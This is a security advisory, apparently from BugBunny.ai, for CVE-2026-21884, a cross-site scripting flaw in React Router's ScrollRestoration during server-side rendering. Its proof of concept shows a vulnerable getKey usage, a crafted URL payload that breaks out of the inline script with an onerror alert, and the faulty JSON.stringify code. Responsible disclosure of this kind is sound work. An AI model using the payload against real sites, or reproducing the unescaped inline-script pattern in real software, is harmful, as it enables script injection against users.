HighCVSS 8.2XSSCVE-2026-21884

Published January 12, 2026

React Router SSR XSS in ScrollRestoration

BugBunny.ai discovered a cross-site scripting vulnerability in React Router's ScrollRestoration component during Server-Side Rendering. Unescaped JSON in inline scripts allows arbitrary JavaScript execution when user-controlled data is used in getKey or storageKey props.

Responsibly DisclosedView CVE →

TL;DR

Script tag breakout via unescaped path in SSR output

Impact:XSS affecting all users visiting crafted URLs
Vector:Crafted pathname with </script>
Surface:Any SSR app using ScrollRestoration with getKey
Status:Fixed in @remix-run/react >2.17.2

Root Cause

The ScrollRestoration component renders an inline script during SSR to restore scroll positions. The ssrKey parameter (derived from getKey or the pathname) is embedded using JSON.stringify().

However, JSON.stringify() does not escape </script> sequences, allowing an attacker to break out of the script context and inject arbitrary HTML/JavaScript.

Proof of Concept

// Vulnerable usage in React Router
import { ScrollRestoration } from "react-router";

export default function Root() {
  return (
    <html>
      <head />
      <body>
        <ScrollRestoration getKey={({ pathname }) => decodeURIComponent(pathname)} />
      </body>
    </html>
  );
}

// Attack request:
// /x%3C/script%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E

// Rendered HTML during SSR:
<script>
(function(...) { ... })("react-router-scroll-positions", "/x</script><img src=x onerror=alert(document.domain)>")
</script>

// Result: Script closes early, injected <img> executes XSS in user's browser.

// Root cause in packages/react-router/lib/dom/lib.tsx (lines 2031-2039):
return (
  <script
    {...props}
    suppressHydrationWarning
    dangerouslySetInnerHTML={{
      __html: \`(\${restoreScroll})(\${JSON.stringify(
        storageKey || SCROLL_RESTORATION_STORAGE_KEY,
      )}, \${JSON.stringify(ssrKey)})\`,
    }}
  />
);
// Issue: JSON.stringify() does not escape </script>, allowing script tag breakout.

Affected Versions

  • react-router < 7.5.1
  • @remix-run/react ≤ 2.17.2

Mitigation

Upgrade to react-router@7.5.1 or @remix-run/react@2.17.3 or later. The fix properly escapes </script> sequences in the SSR output.

Credits & Disclosure

Identified by BugBunny.ai and responsibly disclosed to the React Router maintainers.

Reporter: BugBunny.aiCVE-2026-21884
CVE-2026-21884: React Router ScrollRestoration XSS | BugBunny.ai | BugBunny.ai